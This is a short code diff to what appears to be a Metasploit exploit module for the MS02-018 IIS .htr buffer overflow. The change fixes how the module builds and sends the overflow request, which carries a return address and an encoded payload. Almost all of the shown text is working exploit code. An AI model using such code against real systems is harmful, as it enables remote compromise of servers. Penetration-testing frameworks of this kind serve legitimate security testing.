diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb
index ad3058bc58..e1170459de 100644
--- a/modules/exploits/windows/iis/ms02_018_htr.rb
+++ b/modules/exploits/windows/iis/ms02_018_htr.rb
@@ -63,9 +63,9 @@ class Exploits::Windows::Iis::MS02_018_HTR < Msf::Exploit::Remote
 		buf << [ target['Rets'][1] ].pack('V')
 		buf << payload.encoded
 		
-		req = "GET /#{buf} HTTP/1.0\r\n\r\n"
-		print_status(sprintf("Trying target #{target.name} with jmp eax at 0x%.8x...", target['Rets'][1]))
-		sock.put(ret)
+		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
+		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
+		sock.put(req)
 		handler
 		disconnect
 	end